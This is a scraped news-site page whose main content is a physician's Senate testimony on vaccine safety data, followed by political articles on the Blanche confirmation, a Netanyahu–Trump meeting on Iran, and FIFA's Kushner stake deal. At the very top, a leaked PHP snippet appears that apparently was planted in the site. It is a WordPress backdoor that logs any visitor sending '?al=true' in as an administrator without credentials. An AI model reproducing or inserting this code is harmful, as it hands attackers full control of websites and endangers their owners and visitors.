// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The data on vaccine safety is public and clear — but I just spelled it out for Congress anyway – Blue Light News
Connect with us

The Dictatorship

The data on vaccine safety is public and clear — but I just spelled it out for Congress anyway

Published

on

The data on vaccine safety is public and clear — but I just spelled it out for Congress anyway

(The following is testimony presented to the U.S. Senate Permanent Subcommittee on Investigations on Sept. 9. It has been edited for style and length.)

The scientific evidence supporting vaccine safety and efficacy represents one of the most extensive and transparent bodies of medical research ever assembled. Vaccines have saved an estimated 154 million lives globally over 50 years, eliminated smallpox from the planet and reduced diseases like polio and measles by over 99% in the United States.

Anyone with internet access can read the same studies I read, examine the same data I examine and verify the same conclusions.

Since April 2025, I have co-led the development of a comprehensive public database cataloging 1,704 randomized controlled trials of vaccines spanning from 1941 to 2025, involving more than 10.5 million participants. Multiple independent U.S. surveillance systems continuously monitor vaccine safety in real time, detecting adverse events as rare as 1 per 1 million doses. Recent large-scale studies, including a Danish cohort following 1.2 million children, consistently demonstrate vaccine safety across diverse populations.

The Centers for Disease Control and Prevention estimates that vaccines given to U.S. children born between 1994 and 2023 will prevent approximately 508 million illnesses, 32 million hospitalizations and 1,129,000 deaths over their lifetimes, saving nearly $2.7 trillion in societal costs. This vast evidence base is publicly accessible, peer-reviewed and continuously updated. If vaccines caused a wave of chronic disease, our safety systems — which can detect one-in-a-million events — would have seen it. They haven’t.

I am also part of the Center for Infectious Disease Research and Policy’s Vaccine Integrity Projectwhere our team is conducting a systematic review and meta-analysis of respiratory virus immunizations from approximately the last two years. This ongoing analysis has examined 590 studies from over 17,000 identified references to date.

As an infectious diseases physician at Stanford University School of Medicine, I have treated many adults with vaccine-preventable diseases throughout my career. These clinical experiences, combined with my research analyzing the extensive evidence base for vaccine safety and efficacy, inform my testimony today.

I should note that I am here in my personal capacity, and the views I share reflect my own professional experience and analysis of the scientific evidence. I have received minimal payments totaling $45.62 over multiple years for food and beverage at work-related events, as documented in the federal Open Payments database. My research time is either self-funded or supported by Stanford University. I testify in my personal capacity as a physician-scientist committed to rigorous evidence and transparent science.

The safety and efficacy data for vaccines is published in peer-reviewed journals, accessible through PubMed, analyzed by independent researchers worldwide, and scrutinized by regulatory agencies whose deliberations are public record. Anyone with internet access can read the same studies I read, examine the same data I examine and verify the same conclusions.

Our international team has built a public database of randomized controlled trials of vaccines. Every entry links directly to its peer-reviewed source publication, allowing anyone to examine the methods, data and results independently. This is how science should work — open, transparent and reproducible.

The transparency of vaccine science extends throughout history. When Edward Jenner published his vaccination findings in 1798, he self-published Variolae Vaccinae for public scrutiny. The 1954 Salk polio vaccine trial involved 1.8 million children in a publicly monitored study, with results announced to the world and data published for examination. This tradition continues today with large-scale epidemiologic studies published in peer-reviewed journals for all to examine.

The United States maintains multiple independent vaccine safety monitoring systems, each operating transparently.

When real risks exist, they are detected, quantified, disclosed and incorporated into guidance. That is how a functioning safety system works.

The Vaccine Adverse Event Reporting System (VAERS) makes every report publicly accessible at vaers.hhs.gov, where anyone can search, download and analyze raw data. The Vaccine Safety Datalink (VSD) covers over 10 million Americans across nine health care organizations, with findings regularly published in peer-reviewed journals and presented at public Advisory Committee meetings. The Post-licensure Rapid Immunization Safety Monitoring (PRISM) system monitors over 190 million people, publishing results openly.

These systems have successfully detected rare adverse events — including intestinal blockage with a rotavirus vaccine in 1999, leading to its withdrawal; rare blood clots with the Johnson & Johnson Covid vaccine (3 per 1 million doses), detected within weeks; and myocarditis signals with mRNA vaccinespromptly investigated and quantified.

When real risks exist, they are detected, quantified, disclosed and incorporated into guidance. That is how a functioning safety system works.

Vaccination has historically united Americans across political lines. George Washington ordered Continental Army variolation against smallpox in 1777, declaring, “I have determined that the troops shall be inoculated.” His orders, preserved in the Library of Congress, reflect understanding that disease threatened his army more than British forces.

Throughout American history, presidents from both parties have championed vaccination as essential public health policy. President Dwight D. Eisenhower signed the Poliomyelitis Vaccination Assistance Act in 1955, stating, “We all hope that the dread disease of poliomyelitis can be eradicated from our society.” President Ronald Reagan proclaimed National Adult Immunization Awareness Week, noting that “vaccination against infectious diseases saves lives and lowers health care costs.” President George H.W. Bush mobilized CDC teams to cities during the 1991 measles resurgence, urging parents: “The vaccines are available. Please, make sure your child is immunized.” Even recently, President Donald Trump acknowledged: “Look, you have vaccines that work — they just pure and simple work. They’re not controversial at all.”

The evidence of vaccine effectiveness is documented in every health department report and mortality database. This data is not hidden — it is published by the CDC and available to anyone.

Before vaccines, measles infected 3-4 million Americans annually, killing approximately 500 children each year. After widespread vaccination led to elimination in 2000, deaths typically numbered zero to two per year. We are currently experiencing our worst outbreak in decades — 1,431 cases through September 2025, with three deaths, overwhelmingly in undervaccinated communities.

Polio paralyzed 16,000 Americans annually in the pre-vaccine era. In 1952 alone, polio caused 57,879 cases and 3,145 deaths, and paralyzed 21,269 Americans. Since 1979there have been zero cases of wild poliovirus in the United States — a 100% reduction.

Haemophilus influenzae type b (Hib) caused 20,000 cases of severe disease in children under 5 each year, killing approximately 1,000 annually. After vaccine introduction in 1987, cases dropped by over 99%. From 2009 to 2018, only 36 total Hib cases occurred in American children under 5 — across that entire decade.

The transformation is striking: diphtheria killed 13,000-15,000 Americans annually in the early 20th century; in 2024, we had one case. Pertussis killed hundreds of infants yearly; today, typically fewer than 10. Vaccines have saved an estimated 154 million lives globally over 50 years, including 146 million children under 5 years old and 101 million infants. For every death averted, 66 years of full health were gained on average, translating to 10.2 billion years of full health gained. Vaccination has accounted for 40% of the observed decline in global infant mortality — 52% in Africa. In 2024, a child under 10 years old is 40% more likely to survive to their next birthday because of historical vaccination programs.

For respiratory virus vaccines, the primary goal and realistic expectation is to prevent severe disease and death, not infection.

During the 2023-24 influenza season, over 200 children died from flu; among vaccine-eligible children with known vaccination status, more than 80% were not fully vaccinated. Covid-19 vaccines, developed with unprecedented transparency through publicly broadcast Food and Drug Administration and CDC meetings, prevented catastrophic loss of life. A rigorous analysis estimated vaccines prevented 2.5 million deaths globally from 2020 to 2024 (with sensitivity estimates ranging from 1.4-4.0 million). Before vaccines, ICUs were overwhelmed. By mid-2021, nearly every fatal case was among the unvaccinated. During the delta surge, unvaccinated adults were 53 times more likely to die than those vaccinated and boosted.

I cared for hundreds of Covid patients and watched far too many die. I lost many unvaccinated patients across the age spectrum — from their 30s to their 90s — who I am certain would have survived had they been vaccinated. One mother in her 40s without underlying conditions declined vaccination and died, leaving her child behind. These statistics represent preventable human tragedies.

When vaccine safety is studied with robust designs — large, linked databases, matched cohorts, self-controlled methods comparing people to themselves over time — the findings are consistent: no broad increase in chronic diseases among vaccinated people.

Every medical intervention exists on a spectrum of effectiveness. Statins reduce heart attack risk by approximately 30%, not 100%. Cancer chemotherapy may help roughly 40% of patients, not all. We use these treatments because benefits outweigh limitations. Influenza vaccines, used since the 1940s, prevent an estimated 40%-60% of influenza illness in good years, perhaps 20% when the match is poor — yet still prevent thousands of deaths annually.

For respiratory virus vaccines, the primary goal and realistic expectation is to prevent severe disease and death, not infection. While vaccines cannot prevent viruses from initially entering the respiratory tract, they help our immune system recognize the pathogen and mount a rapid response that can prevent infection, transmission or severe disease, depending on the variant and vaccine match. But vaccines excel at keeping people out of the hospital, and for that critical goal, they perform remarkably well.

Our surveillance systems’ transparency was demonstrated during Covid-19 vaccine monitoring. When the possibility of an early myocarditis signal emerged, the CDC issued a Health Alert Network notice on May 27, 2021, urging clinicians to report cases to verify whether a true safety signal existed. Once confirmed through enhanced surveillance, the Advisory Committee on Immunization Practices reviewed data publicly on June 23. The FDA added warnings on June 25. The data showed rates peaked at approximately 106 per million second doses in teenage boys in 2021, mostly mild and short-lived. By 2024-25, rates with updated formulations returned to near background levels, as documented in public ACIP presentations.

Our surveillance systems can detect extremely rare adverse events — as rare as 1 event per 1 million doses or even less. These systems identified thrombosis with thrombocytopenia syndrome (blood clots and low platelets) after the J&J vaccine at a few per million doses overall. The sensitivity of these systems would make any widespread vaccine-related chronic disease impossible to miss.

We take vaccine safety extremely seriously. Vaccines are unique medicines given to large numbers of healthy people. Ensuring their safety through rigorous testing and continuous monitoring is critical.

The evidence for vaccine safety and efficacy exists in overwhelming abundance, accessible to anyone willing to examine it.

My current work exemplifies commitment to openness. Our public database is openly accessible, with search strategies available in the spreadsheets for anyone to examine and verify. The Vaccine Integrity Project team discussed our methods at a public webinardemonstrating our commitment to transparency even before publication. Every step of our research process is designed to be reproducible and verifiable.

Beyond clinical trials, thousands of additional studies examine vaccine safety through peer-reviewed research. When concerns arise, they are investigated and results are published, whether confirming or refuting initial hypotheses.

The evidence for vaccine safety and efficacy exists in overwhelming abundance, accessible to anyone willing to examine it. From Washington’s orders to inoculate the Continental Army to today’s real-time safety monitoring systems, American vaccination policy has been built on transparency and evidence.

The data supporting vaccines is not hidden — it is reviewed by the FDA, published in peer-reviewed journals, analyzed worldwide and tracked through public surveillance systems. If vaccines caused widespread chronic disease, our safety monitoring systems would have detected it. They haven’t.

The question before this subcommittee is whether public health policy will continue to be guided by transparent, peer-reviewed evidence. As we face both emerging infectious disease threats and the return of old threats due to declining vaccination coverage — like our current measles outbreak — maintaining public confidence through evidence-based communication remains essential.

The data is public. The evidence is clear. I welcome your questions.

Jake Scott

Dr. Jake Scott is an infectious disease physician and Clinical Associate Professor at Stanford University School of Medicine in the Division of Infectious Diseases and Geographic Medicine.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

Blanche’s confirmation imperiled by GOP holdouts Cornyn, Tillis

Published

on

Blanche’s confirmation imperiled by GOP holdouts Cornyn, Tillis

The Senate Judiciary Committee postponed a vote on acting Attorney General Todd Blanche’s nomination, a spokesperson said late Wednesday, as two retiring Republicans on the panel dug in over President Donald Trump’s personal “anti-weaponization” deal with the government he runs.

Sen. Chuck Grassley’s decision to delay the committee vote that had been set for Thursday marks a setback for one of Trump’s highest-profile Cabinet nominees, at the hands of Texas Sen. John Cornyn and Sen. Thom Tillis of North Carolina, a pair of Republicans set to leave the chamber next year.

“Chairman Grassley works to set President Trump’s nominees up for success in committee, not failure. Senators Cornyn and Tillis want written assurances from the Department of Justice regarding the Trump-IRS settlement,” the committee spokesperson said.

Blanche’s nomination to permanently head the Department of Justice needs the support of either Cornyn or Tillis to make it out of the committee to a vote by the full Senate, assuming all Democrats remain opposed.

“Why don’t you call over the Department of Justice and tell them they have one hour and 50 minutes to get me what I asked for,” Cornyn told reporters Wednesday afternoon amid the hardening standoff over his demand that Blanche and the DOJ put in writing a commitment never to pursue the president’s prized “anti-weaponization” fund, and to clarify the terms of Trump’s personal deal with the Internal Revenue Service.

Tillis told MS NOW that the conversations were complicated by the need for the Justice Department to get “several parties” to agree on the language of the statement Cornyn and Tillis are seeking.

“What I’ve advised the chair, and I would assume Senator Cornyn said something similar, is that we’re not prepared to vote yes yet,” he added.

“The Department has been in regular communication with Committee members for weeks, and we look forward to continuing to work productively with Senators to address any concerns,” a Justice Department spokesperson said in response to the decision to postpone the committee vote.

Cornyn was set to meet with Blanche on Wednesday morning, but the meeting was called off after Blanche failed to meet the senator’s demand for written proposals to modify the controversial settlement agreement he brokered between Trump and the IRS. The Republican senator is set to leave Congress when his term ends in January after a bruising May primary loss to Texas Attorney General Ken Paxton, Trump’s chosen candidate.

“Maybe John Cornyn’s upset with me because I didn’t endorse him,” Trump told reporters Wednesday afternoon in the Oval Office. “I don’t know what it is, but I haven’t heard that there’s a problem. I heard (Blanche) is going through quite nicely.”

Cornyn made clear to Blanche during his confirmation hearing that he will not get his support until he agrees to reopen and modify the settlement. Due to the committee’s narrow Republican majority, one GOP “no” vote is enough to sink Blanche’s nomination.

The senator has asked Blanche to provide proof that the proposed nearly $1.8 billion “anti-weaponization” fund established as part of the deal between Trump and the IRS is formally dead, and he has also demanded Blanche narrow the tax audit immunity provisions the settlement afforded to Trump and his family.

Blanche has publicly stated that his department has dropped the fund, but he and the DOJ have dodged requests from Cornyn and a federal judge to put that in writing.

After announcing his meeting with Blanche would not take place Wednesday morning, Cornyn told reporters that changes from Blanche “in a modified release form” would be acceptable, but that “for some reason … they simply refuse to do it,” referring to the DOJ.

Shortly after the meeting was called off, a Justice Department official told MS NOW that the department “provided a written proposal to Senator Cornyn’s staff yesterday following ongoing discussion with both the Committee and the Senator’s office.”

Cornyn said that proposal was “not responsive” to his demands because it did not address the tax audit immunity provisions in the settlement, one of his key demands.

In May, Blanche signed an addendum as part of the deal that granted Trump, his family and his businesses immunity from pending IRS tax audits. That agreement, which has been decried by former IRS officials and legal experts as unlawful self-dealing, is being contested in federal court.

Cornyn noted that Blanche testified under oath that he could meet the request during his confirmation hearing.

“Maybe they think I’m just going to give up or you know, go along, but they’re mistaken,” Cornyn said when asked why he thinks the DOJ could be slow-walking his request.

Kevin Frey contributed to this report.

Sydney Carruth is a breaking news reporter covering national politics and policy for MS NOW. You can send her tips from a non-work device on Signal at SydneyCarruth.46 or follow her work on X and Bluesky.

Mychael Schnell is a reporter for MS NOW.

Ebony Davis is a breaking news reporter for MS NOW based in Washington, D.C. She previously worked at BLN as a campaign reporter covering elections and politics.

Read More

Continue Reading

The Dictatorship

Netanyahu leaves his visit with Trump without a clear endgame on Iran

Published

on

Netanyahu leaves his visit with Trump without a clear endgame on Iran

When Israeli Prime Minister Benjamin Netanyahu arrived this week for his tour of Washington, he may have had a mission in mind.

Netanyahu needed to overcome his newly diminished stature and waning influence over his once close friend President Donald Trump as both leaders grapple with the unpopularity of a war they started together and is escaping their control.

His meeting at the White House with Trump on Tuesday, which was closed to the press, was the first face-to-face encounter between the two allies since the U.S. and Israel launched a joint attack against Iran on Feb. 28.

Trump gave him a muted welcome and afterwards simply described the meeting as “very good.” “Obviously, many important subjects were discussed,” the president wrote on Truth Social.

Rather than an intimate one-on-one setting, the Oval Office was full of top U.S. officials — Vice President JD Vance, Secretary of State Marco Rubio, Treasury Secretary Scott Bessent, Secretary of Defense Pete Hegseth, Chairman of the Joint Chiefs of Staff Gen. Dan Caine, and special envoy Steve Witkoff.

But Netanyahu continued the full court press on the Trump administration.

Over the course of two days, in addition to seeing Trump and attending Sen. Lindsey Graham’s funeral at the Capitol, Netanyahu also met separately with Vance, Hegseth, and Rubio, White House and Israeli officials confirmed to MS NOW.

The Israeli prime minister’s slate of meetings with key U.S. national security officials comes at a pivotal moment in the Iran conflict as tensions escalate in the region and Americans increasingly sour on the war. A recent Quinnipiac poll shows 60% of American voters opposing U.S. military action against Iran and 74% against sending U.S. ground troops into Iran.

Not only does Trump face pressure as Republicans face an uphill battle to retain congressional control in this fall’s midterms, Netanyahu’s fate as prime minister is at stake in Israel’s upcoming September elections – and he can’t afford to lose Trump’s favor.

The talks largely focused on what to do next as Iran continues to menace shipping in the Strait of Hormuz and retaliate against American bases in the region and launch attacks on Gulf allies.

According to a senior Israeli official who was granted anonymity to describe the closed-door meeting, President Trump and Israeli Prime Minister Netanyahu did not come to a final decision after discussing three paths forward: get a “good deal” focused on Iran’s nuclear program and enriched material, have no deal and instead continue the blockade and economic pressure, or take escalated military action.

But Netanyahu did not tell Trump what he should do – nor did he express a preference.

The senior Israeli official noted Netanyahu has not ruled out diplomacy – as long as it is coupled with “very strong pressures,” calling the push to dismantle Iran’s nuclear program “a contest of will and a contest of force.”

“There are ways of squeezing them and squeezing them and squeezing them and negotiating at the same time,” the official said.

Netanyahu did not present President Trump with new intelligence regarding the underground Iranian nuclear facility Pickaxe Mountain, per the senior Israeli official, noting the U.S. and Israel already are constantly sharing intelligence – and know where Iran’s highly enriched material is. “We don’t think it’s moved, and I think we have a pretty good grasp on that,” the official said.

During their meeting on Tuesday, Trump and Netanyahu discussed ways Israel and the U.S. can work together to stop Iran’s nuclear program and get the Strait of Hormuz open to maritime trade, the senior Israeli official said.

The two leaders also discussed a third goal: to continue to undermine the Iranian regime and “possibly create future conditions for a change in that area.” U.S. officials have backed away from pursuing paths that would overthrow the current leadership, but Netanyahu still believes that could happen.

“The chasm that has been created between the people and the regime is not about to be closed,” the senior Israeli official said of Netanyahu’s thinking.

Netanyahu advised Trump in February that Israeli intelligence indicated launching strikes against Iran would lead to the toppling of the Islamic Republic’s regime – and five months later, the slain ayatollah’s son retains power with a close circle of hardliners, calling into question the accuracy of Israel’s intelligence apparatus.

But the senior Israeli official said at the time, Netanyahu did not promise the Iranian people would take fate into their own hands following a coordinated attack. Rather, he chose his words carefully and said that an attack could create conditions to “advance the probability or the possibility that that would happen.”

The conditions needed for the Iranian regime to fall, “did not materialize,” the official told MS NOW, adding, “not for lack of insight, but for either operational failure or decisions that were made.”

Despite Netanyahu insisting Israel and the U.S. are on the same page, differences still remain: the sale of F-35 fighter jets to Turkey and the Saudi nuclear arrangement did not come up during Wednesday’s White House meeting, according to a second Israeli official granted anonymity to describe sensitive discussions.

Meanwhile, the conflict continues to spread, with an Iranian drone attacking a U.S. gas storage tanker off the coast of Egypt on Wednesday.

Trump indicated he would not let Iran’s latest action slide, telling reporters on Wednesday that the U.S. would retaliate against Iran even as he leaves room for diplomatic talks to resume.

“It’s our turn, and we’ll see if we get there with an agreement at some point,” Trump said. “But we’re going to hit them very hard.”

As for what it would take for Israel to join the U.S. strikes, the senior Israeli official said that if Israel is attacked by Iran, “We will respond very, very forcefully and very quickly. And I think Iran would make a great mistake.”

Julia Jester covers politics for MS NOW and is based in Washington, D.C.

Read More

Continue Reading

The Dictatorship

FIFA faces global anger over plan to give Kushner brother a financial stake

Published

on

FIFA faces global anger over plan to give Kushner brother a financial stake

International rage over FIFA’s close ties to President Donald Trump has reached a fever pitch after soccer’s governing body announced a plan to sell a significant stake to an investor group led by Joshua Kushner, the brother of Trump’s son-in-law.

The president and his family have all but turned the White House into their personal piggy bank. And FIFA — which has its own sordid history of corruption — seems to have made itself a party to Trump’s self-enrichment under Gianni Infantino’s leadership, such as by paying for space inside Trump Tower in New York. (The organization has defended the office rental as a World Cup outpost.)

Soccer is seen by many as a unifying game. But Trump’s incorporation of FIFA into his political dynasty is threatening that idea.

As The Athletic reported:

FIFA has announced plans to sell a large minority stake in a new company that will run its main events, including the World Cup and Club World Cup, as part of a plan to triple the amount of development money it dishes out to its 211 member associations.

Under the proposals — which are subject to approval by a majority of those national associations and FIFA’s 37-member council — a new entity called FIFA Forward Enterprises (FFE) will take over all commercial operations, while FIFA remains the game’s global governing body and retains a majority stake in FFE.

A press release from FIFA confirmed the plans and said Thrive Eternal, which was launched by Joshua Kushner, is expected to lead the investment group that would control FIFA Forward Enterprise. FIFA did not clarify why Thrive Eternal was selected, and Kushner was already dabbling in sports.

But Trump basically has already given son-in-law Jared Kushner carte blanche to dictate U.S. foreign policy in the Middle East while simultaneously hatching business plans in the region. (Jared Kushner has denied any conflicts of interest.)

Joshua Kushner reportedly has been a major donor to Democrats. But, predictably, the idea of another Kushner becoming financially entwined with the World Cup — the world’s most popular sporting event — and basically being dropped into a position of global significance isn’t going over well. Several other soccer governing bodies have expressed concerns, including Europe’s UEFA.

“This crosses a line that football’s governing institutions should never cross,” UEFA said in a statement about The Athletic’s report, adding: “The soul and governance of football are not assets to trade — especially with zero transparency as to who gains financially. None of us are the owners of football. It is not FIFA’s to sell.”

Democrats on the House Judiciary Committee also rebuked the plan, writing on X: “Apparently the fake Peace Prize and giant lease with Trump Tower weren’t enough — now Infantino performs a kickback hat trick by pursuing a multibillion-dollar deal with Jared Kushner’s brother to sell ownership stakes in the World Cup to private investors.”

FIFA, Donald Trump’s favorite corrupt racketeering enterprise in world sports, is now going directly into business with the Trump family!

Apparently the fake Peace Prize and giant lease with Trump Tower weren’t enough—now Infantino performs a kickback hat trick by pursuing a… https://t.co/knSZibuMea

— House Judiciary Dems (@HouseJudiciary) July 28, 2026

Rep. Jamie Raskin, D-Md., has already launched an investigation into the FIFA leader’s relationship with the Trump administration, while dozens of European lawmakers — citing concerns about “potential breaches of political neutrality” — have called for the FIFA Ethics Committee to investigate Infantino. This new proposal seems unlikely to assuage those concerns.

But what it does seem likely to do is fuel global anger toward the U.S. — the kind that has been growing since Trump retook office.

And when you consider that, it’s truly remarkable how the same MAGA movement whose members whined for years about politics mixing with sports is now in lockstep with a president who seems dead-set on casting his shadow over every sports event he can.

This post on X basically sums up the foul stench around FIFA’s latest proposal.

Sepp Blatter was Infantino’s predecessor as FIFA president and oversaw the organization amid some of its many scandals. When heof all people, is warning about how Trump and Infantino’s relationship is “deeply damaging” soccer, it’s a sign of how far FIFA has descended into the gutter.

Ja’han Jones is an MS NOW opinion blogger. He previously wrote The ReidOut Blog.

Read More

Continue Reading

Trending